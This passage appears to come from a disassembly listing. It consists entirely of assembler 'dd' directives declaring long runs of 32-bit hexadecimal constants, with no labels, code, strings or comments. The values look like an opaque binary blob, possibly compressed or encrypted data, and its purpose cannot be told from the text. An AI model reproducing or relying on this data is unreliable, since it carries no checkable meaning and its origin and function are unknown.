0C3B710h, 0CF22A1F0h, 279E9BB9h, 0D471A972h dd 32792809h, 2E104CC6h, 67E88EFAh, 8A6CE2C2h, 6018A483h dd 4DE06FDBh, 0E4FC44BDh, 2F14A800h, 7C029F48h, 86705A6h dd 0C0E01884h, 11D2253Ch, 3485BD00h, 8241EDB9h, 8FCD0180h dd 0D186C94Dh, 0C423D5C4h, 0FA0F0325h, 47D8ECh, 181A04C1h dd 31AD005Ah, 30FD3CE9h, 7100E60Dh, 2B84229h, 2026F9h dd 9A55430Eh, 731012Bh, 0AD00B7F4h, 8436C4C7h, 1309DB9Fh dd 0A2F82Dh, 0FD55ABB7h, 312680E0h, 0EE09A82Ch, 74A4808Ch dd 0F8DF322h, 337AB55Fh, 3B324D21h, 5A48F96h, 0F9C33FF6h dd 0A8C8AA4Eh, 97EC8Eh, 21551E89h, 2A38BBE3h, 3E1D71Eh dd 0C1712380h, 57B38Bh, 85616AA4h, 504DB66Ch, 0BF2F77Bh dd 6DEE25h, 581BDC4h, 4CB039B8h, 8DFF1B94h, 0BABF4400h dd 2755B452h, 0B7A4AC00h, 985078EBh, 0D7D93E32h, 4093749Ch dd 8565F84Fh, 0BA04B592h, 5277ED14h, 0D7295C80h, 2C100357h dd 47B1351Ah, 113707Ch, 700BB713h, 6D698053h, 106EB18h dd 990FAE87h, 827F1F2Ch, 72F04C21h, 13B4C08Ch, 995726F9h dd 0E96903B0h, 1800A7C6h, 0AF489F29h, 12EF9682h, 812A51F3h dd 3068D94Ch, 78DDEC12h, 732BAB83h, 5D80997h, 0FF815F87h dd 7057DDB9h, 0A2639423h, 0A2D85679h, 479140F2h, 99D900BCh dd 319C4F64h, 418005ABh, 269000FBh, 84F8C49Eh, 88005249h dd 543556F1h, 2535960h, 1CD5FAF6h, 0F580D9D2h, 0C6660421h dd 4D0E5100h, 6AB23ED7h, 0E0E13C2Dh, 36A67E80h, 3ABF9FC2h dd 7A6E6909h, 9BC500BEh, 4AFF0h, 0BB9CA238h, 6DBDF6B3h dd 69A04F00h, 0FF6AD55Ah, 0E93B0071h, 929C9D46h, 310015A9h dd 85139B70h, 1C65DCh, 87D4B1F3h, 0C1588CFEh, 0BCBECA3Ch dd 0ECF1A417h, 0D772CE00h, 0A61B2Dh, 1503D9D5h, 0E0B1F867h dd 0BDDE7500h, 45D84012h, 0DB312779h, 0C4A30800h, 0D10034F4h dd 3356D60h, 583B7B20h, 0BB13641Bh, 24D91EB7h, 103EB90Ch dd 0E480E127h, 0DE7CD442h, 2E3DC873h, 0A8BE8746h, 0F97007DFh dd 4AA75Eh, 43DA0880h, 0BF7C6484h, 6A128278h, 1C8Bh, 2580EE9h dd 2B2EE35h, 93AC7F22h, 38482E5Fh, 0A900315Dh, 56BBBC65h dd 0F085D789h, 0EA8A3887h, 3BA3C000h, 88EC513Eh, 687F9907h dd 9116EE05h, 81121DA0h, 776500F5h, 2F83ED1Dh, 0A4D55Ch dd 36B51926h, 0A3464B4h, 0CC4887B8h, 527F0088h, 9E758149h dd 0CEFA58h, 0C562252Bh, 2A4BDE7Dh, 1EB85BB1h, 7145177h dd 0E0B2126Ch, 79BE8FFDh, 87AA3306h, 50CD01h, 4A268B4Fh dd 21A4BA1h, 6CE3C701h, 85FD63A9h, 887BD8h, 20EBD9B0h dd 80A1FEF5h, 3A01F009h, 83D8A05Ch, 0BAD2A3B7h, 8D53282Ch dd 52FE44E0h, 5B1D13Bh, 8C5F94B2h, 0B687AC40h, 0C73D26Dh dd 12A11608h, 537A10FEh, 1B958800h, 71F36AFCh, 1A420017h dd 61B0D490h, 0EA00BD30h, 0BB4F376Dh, 0E299E8F1h, 54E5038Ah dd 0EF3BB611h, 2E80759Bh, 0E1F88957h, 52072A2Eh, 2DC48E00h dd 181324DAh, 38C20D6Eh, 93380F1Ah, 7E00FCABh, 0B4BCC1BFh dd 775404Ah, 980885FFh, 9C05013h, 57008C2Eh, 44161979h dd 603880h, 881356DCh, 0BF0D4293h, 4D7CF201h, 0F6713DC3h dd 723460h, 0B244868Bh, 24316128h, 405DE58h, 212D83C5h dd 0D4E4AFC0h, 0E9A70020h, 87711768h, 8500FA60h, 9D2A09C9h dd 0E0741536h, 16E70038h, 0DE1F019h, 0D600F68Ah, 0C04A7BF7h dd 0E932F4Fh, 6E9D5E3h, 0BEBD1BA0h, 42759994h, 9BAB610Ch dd 3FC708A0h, 5D005570h, 0A16B93EFh, 1F00ED26h, 5B73D436h dd 0C76CD7h, 5549701Dh, 31CA4D0Ah, 3CDB900h, 81D77D53h dd 47C22h, 1DBE2BCFh, 0AC0C8AF9h, 0CEE59900h, 2251E9C8h dd 6877674Dh, 0D149A01Dh, 873C5A26h, 0CF5800BFh, 0B6278F6Ch dd 0FF1A0E92h, 468691E6h, 0B80B2082h, 80C264ABh, 2F275C37h dd 9B0B009Dh, 0FC9E5425h, 0CF00EF73h, 0A9FFCBC2h, 0A1597Bh dd 0F5F7FA9Fh, 810AEB58h, 80FDB23Dh, 781EE768h, 486955h dd 4D092FF2h, 1D99CC97h, 0F93B18C0h, 1E2131DBh, 39633534h dd 2C9E4881h, 0C4923DAFh, 0BD05A5AAh, 462AE81Ah, 0F49C8801h dd 41D547C5h, 4A6DE882h, 70A0259Ah, 0C20C6C6Ah, 1757ED10h dd 8088138Ah, 9F6B50BDh, 7300087Eh, 0BB0B6FE3h, 0E7A32CCh dd 50598190h, 9C00A2EFh, 861543ACh, 0FF14D503h, 0C819C716h dd 17C942h, 0CA9709DAh, 0E0649ABDh, 82AEDE03h, 0B01CD1CCh dd 95E43Ah, 2EEFAB4Ch, 0F96205B3h, 0C5B7252Ch, 10B8FE00h dd 0BA7C75h, 42738C9Bh, 2C32C6A0h, 0DBAC5E00h, 3BA8AAA4h dd 8E533E17h, 23D5CA4h, 1BCD42E5h, 9D0B360h, 70175517h dd 52CF8900h, 3DD112F4h, 1E3E97CDh, 0D5005E3Fh, 26DD5A32h dd 0C5004861h, 360B03F4h, 6ED21Fh, 0DADE4B13h, 6769F702h dd 0AE3E9300h, 3B16B72Ch, 0B0F05Bh, 313AD7C0h, 0E53F161h dd 544FD10Fh, 935A6082h, 0F887856h, 7C9B34ADh, 3B5BD4E0h dd 920E53B4h, 0A09555E4h, 0E1783DA2h, 90930065h, 0E9E8FB31h dd 7307F08Eh, 744110A0h, 0AADAE340h, 238B0991h, 3CF04F96h dd 17FF0901h, 52AECC4Eh, 31815881h, 0CBA37DA7h, 86B3700Fh dd 90D68CB5h, 0C0545090h, 1120C377h, 9982AA09h, 47608860h dd 0E6537F00h, 0C1FCE072h, 0D0C00090h, 2EE15CDh, 0D30063E9h dd 53B9EBB3h, 0C26611h, 0C9F0928Bh, 0AFB097BFh, 7DA28700h dd 834CCA02h, 513F00C6h, 2A7CFA53h, 17030420h, 0D8D56BCCh dd 140880F8h, 33090467h, 0C3BA5F66h, 3C80C7FAh, 0D800554Dh dd 0FD08783Eh dd 7716F835h, 0AA800777h, 70275ABAh, 15A22E14h, 17D6F700h dd 0C3FCA45Bh, 0BD22003Eh, 1F4DFFAEh, 0A00B6DCh, 0E33CB7DFh dd 75F5D7C2h, 0A067003Ah, 0F4719598h, 0B43A4F85h, 5762878Ch dd 0A81034D1h, 0DDF5BDh, 338D7905h, 0E5E68280h, 98992B00h dd 4A196C44h, 48686070h, 0D42CD1A2h, 300109F4h, 0A4A62AB6h dd 6980E1F9h, 1F7E2FE9h, 1D007838h, 8D9D3B80h, 626D01E6h dd 4F3A51A0h, 0F220D619h, 0A831711Ah, 806BBB28h, 7E002E6Ch dd 37123B0Ah, 7C44C9C7h, 5020097h, 9A43AEB9h, 3307E872h dd 18B16B4Ah, 0EDA5F040h, 26960EC1h, 95C550F9h, 6BF7C0DBh dd 5D00DA1Dh, 0AAC4AE8Ch, 74ACC6h, 762E0B3Fh, 4BF6D14Ch dd 0B30278C3h, 7E06002Bh, 0B4AA9621h, 0FC2ED43Ch, 0AC1DD8AEh dd 0F641F59Eh, 0D3882D22h, 90E583D4h, 907439h, 5AD198D9h dd 38EE20C7h, 0B0C42F00h, 2A0FF876h, 23BA0068h, 0D883778Fh dd 0A53FE698h, 67D50F0Dh, 7692011h, 53EA20h, 0B5143BC8h dd 0EBF77CB2h, 0A4D25C00h, 0B7FD5970h, 9DFB13E3h, 0AF470009h dd 0C9371EE8h, 99D9B200h, 0BE2E8DB3h, 0A94D00CEh, 7C957AA8h dd 871F62F5h, 73409EA5h, 9B0D0FFEh, 0A272002Ah, 0E6FB0433h dd 7600F308h, 61D9B8A4h, 9D2DEBh, 7A0C3570h, 8EC03D9Ah dd 23D5B71Fh, 1BBDA4C3h, 5414E81Ah, 669865h, 0EA384820h dd 360DE831h, 34E59h, 0F14A5AA9h, 762A42h, 43610A72h, 0AF03C074h dd 0E0B18100h, 5B966849h, 14550024h, 82346DECh, 2703F020h dd 0B928DE07h, 1078000Dh, 4D468A83h, 0F003ED0h, 0CABAF3C8h dd 1C296DBh, 0C5845808h, 0C4D32614h, 0EA000CC9h, 0AC6A44C3h dd 352B4E6h, 1AF1D4D0h, 47F050CFh, 6F00F549h, 0B18ED148h dd 6CEC7Ch, 9D153D80h, 0E3374B89h, 829CE5A0h, 2C76EF3Eh dd 0F014A83h, 0F4E908AAh, 0AFA0F4h, 0FFC00203h, 452EA351h dd 0D30F077Ah, 8F6BF8B7h, 0A452C0EEh, 0FB1493Dh, 54270F11h dd 71008B14h, 0B87894DCh, 6A00F0BEh, 90518082h, 1D70EF12h dd 4E694984h, 0E5E0A7E6h, 9E77142Fh, 0D7158D00h, 0D473F358h dd 37BF003Eh, 0C6C926BDh, 5700905Dh, 1203202Bh, 2EB171h dd 0F77ED15Bh, 0A3B6EB94h, 88E0C31h, 2080C30Eh, 37EE1CAh dd 0A7C8B97h, 0E803DAFCh, 0C50CE5F7h, 7180BFFEh, 29FF2ADh dd 70F654A9h, 0E385CEB1h, 3D388010h, 1F1F395Bh, 80B95929h dd 6560B173h, 9A5EBEh, 8B2C3B2Bh, 0D7ACEA3Ch, 0D5E8B21Dh dd 0C155F25Dh, 0D0A00B28h, 281C884Ch, 0C291E240h, 366101B1h dd 9B9D90B0h, 0F86AC5AEh, 4C00CBE9h, 0FAC372CCh, 63C91AE5h dd 0FB2F69D6h, 0D45E5850h, 1F34EB03h, 8BBD06EFh, 759BF87Ch dd 77115E0h, 7900948Dh, 61D2FBE8h, 470034D9h, 0E53BBF76h dd 0F99B66h, 5F8BB9B1h, 0DD3AEEC8h, 0F285CB00h, 65985496h dd 9198A00Eh, 0EB6400B1h, 0FB2ED5F5h, 0E00F8450h, 0A1ECCE36h dd 0BA9AE9C7h, 0DDB05ED0h, 0D706C020h, 0B17A8AADh, 811839F6h dd 5748C82Ah, 80853098h, 2D706E10h, 0DC09AA00h, 0E9B24B05h dd 66F00FEh, 0C4EEDA71h, 0EC75D0C3h, 0F5D3FF00h, 0BA8E25B7h dd 1D70E7Eh, 0FA0764EAh, 0E5CC5F6Bh, 0E2003AB8h, 0A0D371B6h dd 72825A9Ah, 8F39006Fh, 832E7630h, 0EB006301h, 3BDE155Bh dd 58AB5787h, 260372C6h, 8006B52Ah, 0C3CD3AC8h, 53509800h dd 4AA4818h, 79C7837h, 0A6E25676h, 0D47E8006h, 0A2000C2Fh dd 0EEE4CC25h, 1897A9Bh, 0A41E610Eh, 0E8AE5854h, 981C9ADEh dd 0A503FE90h, 0EB780A49h, 0A071EB68h, 7C66E26Fh, 12610063h dd 0D1AAEEA0h, 4C00E6F9h, 67C1483Ch, 464330h, 0B570419Eh dd 7724915Bh, 9A50E600h, 3B41B16h, 326800F2h, 0C17C3BE9h dd 496192B2h, 0D596FE50h, 898DA880h, 7F10A7FFh, 3A1B1F0Eh dd 80454C65h, 7297E06h, 0B2216853h, 907C8790h, 1B8543D8h dd 61409A60h, 1F7EB881h, 0C05F9301h, 0E8541011h, 0E450B576h dd 5607FC0h, 50BA1228h, 48141CFDh, 80D59F54h, 0EB01E76Ah dd 770EAFB8h, 0E9B8C1Ch, 7C07A745h, 2D7561F1h, 4D38E440h dd 0CB0F00A1h, 0B3295313h, 0C1F0A04Ch, 263F630Fh, 0FA5CC0AAh dd 1A4149CCh, 0A0D670DBh, 2D3EA440h, 0BFF5E01h, 2C84E943h dd 0A0969194h, 31B9B40Ch, 8A5C4010h, 1D5E002Fh, 0D5869A36h dd 26A3E829h, 5527DFh, 5D7C351h, 0F33963FFh, 0C4861C7Fh dd 0C6006E17h, 5CB58399h, 24D6485Dh, 0C84E0100h, 1685E0E2h dd 0F1FF1F0Ah, 0D7005CB1h, 0EEEBFA6Ch, 0A5208657h, 0AE6E04B3h dd 805E3F6Dh, 47D48930h, 4B9CA100h, 9AFF0914h, 284E005Ch dd 0BAA223Dh, 60031ACFh, 31063F2Eh, 1279C01Fh, 28A600D8h dd 1E15E3E2h, 0E700FD85h, 291868BEh, 3E7B2430h, 0F0010DF8h dd 0F22FFA4Fh, 0E2CCF4ACh, 9D4BA200h, 2512F3B8h, 0FF410028h dd 9C5210ABh, 7E0045D1h, 449365B3h, 1C00F21h, 4EFB2B99h dd 0EC0A1C54h, 11002C9Fh, 776841C1h, 0BE6E2Eh, 0ED70DED3h dd 0D2655E5Fh, 0BF956600h, 0D7143F9Fh, 1F2F7686h, 0C19DBAE1h dd 30D52C2Ah, 40AFF473h, 9C016D00h, 38ED8F47h, 32840089h dd 0E87D05C8h, 0A61EE4C1h, 1701C96Dh, 0F1682990h, 0AAFCD4F5h dd 7A710083h, 93DF78A1h, 92003BBEh, 291B179Bh, 0F73867h dd 0A3E076B7h, 4C0A4644h, 7E288D05h, 0B9002360h, 0E3BCD725h dd 0C00307B8h, 7155F731h, 0C4020E2Bh, 3E3A3F1Ch, 623A6Ah dd 5EF613ABh, 61BFCFh, 0C39B3AB7h, 7A752701h, 9065BD30h dd 96E11Dh, 727FD96Ah, 5F90DFE9h, 5FA2E00h, 0D53D1BDCh dd 0B1FC0FA8h, 8BE0A465h, 43221703h, 4540C401h, 6ED84167h dd 8812F083h, 0A00104ADh, 8E71F221h, 0B9CC4449h, 0C8978A8h dd 1812B22Fh, 1184C859h, 805A8C3h, 2D80E08h, 2261F84h dd 0E4864501h, 6975F600h, 2994E40h, 2F727C93h, 0E81378C6h dd 2162131Dh, 2C84A7A4h, 700C4130h, 58C00340h, 0B99DA7F1h dd 0F41A0021h, 8E47261Eh, 81669C89h, 0CE40EAB0h, 0B1B89859h dd 3984AA0Bh, 0FCC07A7Ch, 0B5264742h, 1EB0326Fh, 8DFD2CA0h dd 2F0AC35Fh, 0FC112A5Eh, 67865D03h, 495007ACh, 70099885h dd 0BAA7A384h, 0F8EDAB00h, 0A6B5B114h, 6082038Bh, 0FB6EE85Ah dd 0D17278AEh, 0E4B79D04h, 448731CFh, 469F4BE0h, 0AC77EAEh dd 1A59C35Ah, 3D0B00BEh, 0CC205E81h, 1EB41500h, 782D2840h dd 97DB053Ah, 807AD482h, 0A48FA5ECh, 0E1670400h, 0F5D06EAAh dd 0F93660A9h, 0A80C4B9Bh, 0B8947D00h, 38FC0EAh, 5E7E71h dd 8B764AAh, 6F1FF0E1h, 0BACDDF0Ch, 10438B4h, 317EF1EEh dd 4011761Eh, 8DDC748Ch, 70A85200h, 0EC0677E7h, 47AE00F7h dd 0E6AB65ADh, 22037A92h, 90A97D9Dh, 0DE6F9804h, 0F6A1022Ah dd 269AD07Fh, 9217BC80h, 1600963Dh, 0C88BADFFh, 0D97236h dd 116D07BAh, 9153FB75h, 7ED5D200h, 18765146h, 107100E8h dd 6E656D2Ah, 0A9309A2Dh, 5E1EB19Dh, 0A520076h, 0F5524E7h dd 0DF00E093h, 44BE4D46h, 257548h, 0E62E7DEBh, 7F3890ACh dd 143A0C00h, 0D422DC47h, 81E51CF9h, 9180BAB4h, 0ADCF6DCDh dd 71E81A10h, 7593858h, 654215D8h, 0BBB50F60h, 283F385Ah dd 2D29C00h, 0ACFF86C7h, 21BE3600h, 470F73EEh, 47409FE7h dd 570F6DDEh, 0A7410BE2h, 71D05F69h, 50740AA5h, 3FB9AE6h dd 0ECC139BDh, 0DEE86499h, 893C517Eh, 7C800D9h, 0EFCA5567h dd 0BD910080h, 4144FC28h, 0EE039864h, 67900D02h, 0A7A1B346h dd 208A9150h dd 0AB741Eh, 0EC83C5D9h, 4E301F72h, 30F1000h, 0B0FBE013h dd 0D8A80264h, 446DD57Ch, 6C395C60h, 8150F400h, 0B8C783ABh dd 13713Ah, 98FAB772h, 6DE7B2F5h, 75BA6004h, 8880A3F3h dd 88949Eh, 5B4D9908h, 36012AC4h, 2ED3B758h, 7B0366E8h dd 0C8CCDE94h, 0C33A0BFBh, 0CF4DDDE6h, 2501D0A0h, 0E8D23700h dd 53F41312h, 566C0CF3h, 592863E0h, 2B809AF2h, 1892B0C2h dd 29F1671Fh, 0BAE6B7DEh, 3655DD11h, 0E6A00A38h, 7403CB7Dh dd 24036CD5h, 41501886h, 0E521795Dh, 1FE18402h, 14E797Fh dd 17A6E54h, 29889B9Dh, 8384E28Fh, 95024FB0h, 0E9077B25h dd 6903A634h, 780CC648h, 284CA1D7h, 795F6E98h, 7CACBB48h dd 1FD97B07h, 30C9ED36h, 91797747h, 0D002D74Fh, 3112B8DFh dd 0DB6C60C9h, 5B410FB4h, 11C0CA50h, 73640414h, 0C3E9F00h dd 0FA796AA9h, 7C8DEA4Dh, 3341009Ah, 0C75471F7h, 6A005C23h dd 7778BA8Ah, 49248C0h, 66B65715h, 98F781FEh, 0BB3AE094h dd 592F9C00h, 335DDDCEh, 1A971D0Ah, 9940312h, 40A04522h dd 0EB071DE7h, 92E3D996h, 1ED060DFh, 5D1FBBh, 0D8728CD3h dd 7D13D6F3h, 2B09DF0Fh, 0B966A0B1h, 3DCE2380h, 0FC803175h dd 589B111Fh, 9D004286h, 5B957090h, 10B4078h, 0AD7CE881h dd 85E2063Ah, 155CE068h, 8FE6E1C3h, 9083CD83h, 0C1820Dh dd 0A07097FDh, 77E89679h, 42F930Ch, 1FD4E1B8h, 85BC13A4h dd 0C0096F90h, 9BF2BD36h, 72A5F01Ch, 1E287A00h, 84A99Dh dd 0EE5FB7E2h, 0B37BCBBAh, 0E320126h, 6009003Ch, 422BD839h dd 861F009Bh, 93ACEF0Eh, 9F0027AFh, 0E94C9190h, 0A971F4h dd 46FB3161h, 11D23BF0h, 0CDD61D00h, 945247EAh, 50DF00A7h dd 0B54C1E3Ch, 5E0B9632h, 81AF3B97h, 0F7370A71h, 0C023E240h dd 2AF600F1h, 5FE32E87h, 0CEE67199h, 644FB71Ch, 0AA9C3B00h dd 3F6240B1h, 410063D4h, 0BEBA300Ch, 0BD00AC75h, 0DC6E938Ch dd 0F1742Ch, 15A6F5D8h, 6FB61F04h, 342BDD00h, 23C140CEh dd 948B0027h, 7A5EC693h, 0DF0781D7h, 165C8A9Bh, 2163800Bh dd 0E6CE2299h, 56B1002Eh, 93EE963Ch, 0AF0085F3h, 0FE1E99Bh dd 3936314Eh, 263C957Ah, 53DF8F80h, 0ADEB16BCh, 9D743D1Ch dd 0F8BEED8Ah, 9A829500h, 732617Dh, 37B20234h, 2B6EB0A6h dd 0C32CDA7Fh, 62008B3Ch, 133EF5A1h, 0CBDD0004h, 8F4BE518h dd 0DC2484A8h, 8E0084DFh, 0F4E489B2h, 0E8300AFh, 1282C086h dd 417B48CAh, 0FE4CD60Fh, 6F6CC03Eh, 15DA613h, 0BBDCDA89h dd 0F9D59C41h, 0B078D8C7h, 4700F9F0h, 0B7A7CF58h, 76FC38CDh dd 5E460063h, 3FD24AAFh, 7500A48Dh, 5CD4D0EDh, 398F2F51h dd 0CB8054C7h, 0E34BA590h, 6176A817h, 0F400CC7Eh, 21EAA49Ch dd 0F2254731h, 0F9D30259h, 4A54C6FFh, 9A02B4C0h, 4541DC00h dd 8B26D66Fh, 50097389h, 232B907h, 8761DE30h, 0E0FF75A6h dd 0B4345h, 53C97405h, 0CCF3A503h, 8FF2A200h, 8863AC2Fh dd 39A10E9Dh, 0F140E3B1h, 2B25C24Eh, 0D6F69400h, 0AF565583h dd 8CE81C6Ah, 0A0EAC003h, 3F0A727Eh, 0F1408F00h, 8B517063h dd 0B72809BEh, 8803C0Eh, 8F100699h, 1666A500h, 7B874781h dd 0A27F0048h, 0F16FF3FFh, 39099910h, 807E3549h, 0D02938BAh dd 951702B3h, 0AE3A8823h, 32A91C48h, 80BCF200h, 0FB56047Ah dd 988877F8h, 3E33F840h, 73803BE9h, 0BA1B8303h, 381E8B7Dh dd 79C0BB65h, 2A1993C8h, 53162CA4h, 0C35C1EDEh, 3BC60DE9h dd 7CAC5D88h, 537ECF2Eh, 0A135B300h, 31CEDEh, 3A0CD6Eh dd 0D71D9079h, 5E0741EAh, 8FA4BC62h, 0E523FB40h, 0D30F28CCh dd 909B0097h, 0C6BF76C9h, 8DF82911h, 35C82300h, 0BE71C36Fh dd 4C4602DCh, 5432549h, 5EA1A280h, 7C001231h, 0E128AE42h dd 1AF002h, 0DD1DE969h, 0BC9738E3h, 10D39B01h, 771B3083h dd 3BB7B4ECh, 8580BBC4h, 6CABA5BAh, 0FC1253AFh, 90090F7h dd 5C599651h, 0DC0E1EC3h, 1C5026AAh, 92017A0Bh, 37BA0D9Fh dd 4D83CC7Fh, 8685611Eh, 19122B40h, 6084C08Fh, 9DA6183Dh dd 6E1215DBh, 0ED01A134h, 7A2F910Ah, 0C5B1C0h, 27FE4294h dd 0B5155F6h, 3E5E1A00h, 40C8E21Eh, 383C002Dh, 4CA6FB8Bh dd 573B9D3Bh, 1DB580E7h, 0B9F8B766h, 738400D9h, 7FD3283Dh dd 9A3BCA62h, 9C6B1E3Eh, 0F3AE0200h, 0B09F0A56h, 86F40020h dd 59D325C6h, 200F041h, 6A7BCD7Eh, 33F8C2h, 507D40E5h dd 3689426Eh, 14FB8E00h, 9409C763h, 0B95F001Ah, 5400465h dd 6007BA0Eh, 3F3DEA9Eh, 42E20130h, 0E96D000Dh, 0A0C81A34h dd 94001897h, 0AF671479h, 72586589h, 2AE50059h, 2B07F18Eh dd 0F300A163h, 7B164F8Dh, 599D27h, 0E50BADCDh, 5A6156ACh dd 216A6200h, 39A62EF8h, 0FE9072Ch, 50D938DBh, 0F5C0D724h dd 670B8716h, 0AEB79404h, 891CDEC3h, 18D4287Bh, 0A23307D1h dd 0D08D668Bh, 0DA267E4Fh, 796DC01Ch, 0B5CC0EC4h, 5FE07180h dd 68A0046h, 13CF03A2h, 35006FF7h, 23169DDFh, 77F6A3h dd 7C6D37D8h, 0D9E915CDh, 0C2070800h, 0B546521Dh, 0BE810024h dd 0CA1B14B8h, 6268DCEh, 0F30005F6h, 5D61F49Fh, 0F7840167h dd 492141C0h, 0DDCBE8ABh, 0B7E62E07h, 80F0BA44h, 0B6A60Bh dd 0B04D933Fh, 46571124h, 0CF0B0576h, 80BEA5E6h, 0D88EA716h dd 561D0476h, 80938270h, 3E3BF464h, 6B88B400h, 789919C7h dd 0B69400E8h, 0E1F0362Bh, 2C1E9FA7h, 4941220Dh, 0EF5D1E5Bh dd 0F6EA8FE4h, 3C5807C0h, 0C31B9067h, 0D7D0964Ch, 0B400335Fh dd 6489663Bh, 72332D1h, 174BDE16h, 854DB7CBh, 73BD00B0h dd 9354B8A5h, 4C3EBF38h, 45BC0F39h, 0DBE0A336h, 6309E00Ch dd 0E3C500DEh, 0CBAA990Bh, 8007EDD5h, 766CD73Ah, 0A451BA50h dd 4570DEh, 0E4A6636h, 0B03A7EE8h, 5128F060h, 0FFB9543h dd 0E6ABF503h, 45FD53A0h, 1100106Ah, 8BFF4017h, 5B50B7h dd 16C9AD62h, 373878D8h, 1A0593B8h, 35E675BFh, 0FA093D80h dd 2E0E0071h, 584D3619h, 0F50002AEh, 0F887D8E1h, 503372h dd 0D3BD9A2Dh, 0B44945B0h, 0A73CA800h, 6C2F7A43h, 7466E80Ah dd 0B8290F54h, 0EEA0B74Fh, 3D9EB0FAh, 1E78A200h, 364CB31h dd 566600A9h, 325D1908h, 1D07EDB4h, 2FE8FE89h, 4DB14E00h dd 0B03100D3h, 3A69E0CEh, 0F600E684h, 3D26EF5Fh, 194DF0h dd 991B4A0Dh, 0EA66D967h, 12F5300h, 487ED3BEh, 3290071h dd 0CF3F1E0h, 5500709Fh, 59CC8CF8h, 701DC2Bh, 29A4DD71h dd 6394C0E8h, 89009F04h, 0F1EFE68Ah, 360EEE7h, 0C0DD1959h dd 0EDD8BF0Ah, 0C1D80BAh, 5DC0D858h, 0F92C8603h, 4FAB0071h dd 0A2552B72h, 0FF001D87h, 0D3587B29h, 184AC9h, 54ADF953h dd 0CDFD74F8h, 8E0A8C00h, 3455869h, 0DA230038h, 1C411640h dd 1001172h, 0B747CA74h, 23A77h, 0DFF0E998h, 1EB0464Dh dd 80DA243Bh, 5FA9DD43h, 0B563788h, 8F154F4Eh, 0C916A200h dd 0E4F2E1B9h, 6E5F4207h, 5C9002D4h, 5DC10Ah, 0E6897D04h dd 0DA33D2A8h, 0B396F201h, 44EF80A1h, 99C1960h, 0EA292817h dd 67D44402h, 856947E0h, 81162538h, 7C1A27F8h, 0C6F87018h dd 88870C62h, 83C6F523h, 0FC83D58h, 20B096BCh, 0CD40E9A6h dd 928C004Dh, 4942A704h, 0F8004E83h, 1FA159E1h, 0E5F6D0Ch dd 0A78C4789h, 7202CCA0h, 3400DA93h, 0F9770F14h, 124A4ABh dd 0F31CB075h, 0F4C350ACh, 0A50EAEF0h, 4082C1D5h, 4D38458h dd 343EAA4h, 0C595185Fh dd 0D58875BBh, 0B100B8B9h, 0DBE57687h, 7CC78BEBh, 26C9005Dh dd 9CA57D16h, 381CC1C0h, 641F151Fh, 0A0BDB241h, 0DA306D85h dd 0BCC0000Eh, 1913ACFAh, 0E00E5B6Eh, 410CF9B8h, 4A97DD06h dd 0FAD64FCh, 0C8E1271Eh, 868F1701h, 77EE859h, 0C66E3800h dd 0CF0D3AE4h, 18890E46h, 842080ECh, 0BA962CEDh, 91DED300h dd 74E48598h, 94310BB5h, 0B100E390h, 47849BD5h, 67F8000h dd 11337D4Fh, 0EBB33E65h, 246203F6h, 285C2B66h, 4F549098h dd 5A0E180Eh, 0CCBF07A2h, 47BD7F90h, 84B01F1Bh, 0F40940D8h dd 2E9EA4Dh, 0E8412B00h, 6451C85Fh, 9DCC2C67h, 7DF20F05h dd 0FAAD5C60h, 2B01C25Dh, 0DE871668h, 0DDF834A4h, 0A7840061h dd 0BAC6E5B2h, 25004A1Ch, 0CD3B9105h, 8196Ch, 5B6B16F4h dd 0C00A9CC4h, 64F74D05h, 0B71E0D56h, 9B4F3A00h, 0E87CA4h dd 41A24022h, 0E366D039h, 0EF6AFE01h, 0C94FE612h, 1E0BA8C8h dd 0BE327E5Bh, 0FC397C00h, 0E4E2640Dh, 0F4C7D604h, 0F80BB45h dd 5CC919h, 9927B09Eh, 375852EBh, 0EFDDA200h, 0D8FAFD8h dd 619C0036h, 0DF292F6Ah, 6503B0B5h, 78E66FA1h, 0BC77E84Eh dd 0AAF00080h, 0EE0BE54Dh, 0FA005220h, 0F65EDA83h, 0C76027B9h dd 80B193E0h, 0DB145626h, 87AF8E1Fh, 7803303h, 776B9894h dd 7578EBh, 79882E7Ah, 461170D0h, 284339h, 912137FCh, 3F406C81h dd 0F6B83EB2h, 0E939E700h, 5CB1F133h, 0F42EA707h, 72F0587Ah dd 0DBBEA2h, 0EC5D23B2h, 0DA683CA1h, 27201E0Eh, 77280A8h dd 1DCEEE2h, 630C939Fh, 30B3FBC2h, 56005030h, 0B73102ADh dd 0A4073h, 3BF8B8D2h, 10798AEEh, 0F2836E1Eh, 0F6F43E80h dd 9FAC23Ch, 17A80816h, 0F0615803h, 4900187Fh, 9BE13FE4h dd 1C09DD8Ch, 8020431Ch, 0A0C1792Bh, 8A3C4DA2h, 346F0E7Eh dd 8F3D40F1h, 4C244AB2h, 8739CBFFh, 883B7800h, 3E8EC41Eh dd 3261E100h, 905E0CD4h, 7F2E1DE6h, 0EECD40D5h, 0A6AAC630h dd 3C00617Ch, 236F80DDh, 250DEFh, 0D6CBC3D0h, 3E553443h dd 0C4D7DF00h, 7763319Fh, 0F94E0118h, 0BC7DDB72h, 0F62CCCD1h dd 0D4A75101h, 67A06D9Fh, 3CF590CCh, 0A401FE49h, 2439C8F3h dd 1888CCB6h, 0DE9AA900h, 5CB533BFh, 0D89C0F05h, 7140FA4Fh dd 5F6FEB97h, 0C00BBECh, 7D4C123Dh, 5E869D0h, 1068B6CCh dd 0DA6C0E9h, 40000271h, 9167BFEh, 437AC2h, 0A508EC24h dd 4F52133Bh, 0C4747103h, 0B816DC59h, 0B8B475E7h, 0A93100F7h dd 0AFBD3CD9h, 9B3DFA06h, 5B9F0097h, 63B78257h, 488C1F30h dd 7CA5477Ah, 3B5C9088h, 20F2445h, 275197E8h, 93507F33h dd 3A524390h, 0EBBD7411h, 4F059900h, 3DEF7BC7h, 0D5D1FA00h dd 3196DA0Eh, 0ABBB058Ch, 1D5B3973h, 2C7AC9D8h, 0D3C17700h dd 586161FCh, 0E6AAF410h, 7390BEE8h, 0D9AB2h, 92AC08DFh dd 6B7219D4h, 52E06F00h, 0A83AA7AAh, 56B10009h, 0BDC85A90h dd 0A500AC30h, 69E87EEh, 919795h, 0E8B36993h, 8E03BA40h dd 199B5B1Eh, 60C7AF0Fh, 2E2565D7h, 14020006h, 9405236Ch dd 5D3A185Bh, 0C1848726h, 1D205E1Fh, 7069EBECh, 0F4110125h dd 406F83A7h, 9934E808h, 0E568F901h, 0BBFC599Dh, 0C5B7E0h dd 4904CF93h, 0D0F26778h, 9D0F3B00h, 0DC0EA815h, 0C9B5005Eh dd 3998D892h, 3700B14Ah, 